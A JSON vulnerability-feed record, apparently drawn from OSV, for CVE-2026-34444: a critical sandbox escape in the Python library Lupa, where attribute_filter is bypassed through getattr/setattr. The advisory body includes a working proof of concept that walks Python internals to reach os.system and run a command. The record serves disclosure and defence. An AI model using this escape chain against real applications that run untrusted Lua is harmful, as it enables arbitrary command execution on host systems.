{"id":"CVE-2026-34444","aliases":["GHSA-69v7-xpr6-6gjm","PYSEC-2026-2613"],"title":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","summary":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","severity":"critical","cvss":10,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","vendor":"lupa","product":"lupa","ecosystem":"pip","affected":["lupa <= 2.6"],"published":"2026-04-07","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:43.384103709Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-69v7-xpr6-6gjm","references":[{"url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444"},{"url":"https://github.com/scoder/lupa"}],"tags":["osv","pip","exploit-available"],"epss":0.00613,"epssPercentile":0.48025,"exploits":{"github":1,"githubRepos":["https://github.com/redyank/CVE-2026-34444"],"checkedAt":"2026-09-24T07:53:02.604Z"},"exploitAvailable":true,"ingestedAt":"2026-07-13T18:57:53.749Z","slug":"CVE-2026-34444","body":"## Overview\n\n### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n    if isinstance(attr_name, str) and attr_name.startswith('_'):\n        raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n    return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n    def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n    if tostring(c):find(\"os._wrap_close\") then\n        local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n        setattr(user, \"run\", system)\n        user.run(\"id\")\n    end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.\n\n## Affected packages\n\n- `lupa <= 2.6`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"abyssal","depthScore":67,"depthScoreParts":{"impact":55,"likelihood":0.1,"exploitation":12,"ransomware":0},"changes":[{"seq":5128,"id":"CVE-2026-34444","ts":1788887249282,"field":"exploit_available","old":"false","new":"true"},{"seq":4011,"id":"CVE-2026-34444","ts":1788886364987,"field":"exploit_available","old":"true","new":"false"},{"seq":2823,"id":"CVE-2026-34444","ts":1788883031696,"field":"exploit_available","old":"false","new":"true"},{"seq":1852,"id":"CVE-2026-34444","ts":1788882434590,"field":"exploit_available","old":"true","new":"false"},{"seq":950,"id":"CVE-2026-34444","ts":1788881868627,"field":"exploit_available","old":"false","new":"true"}]}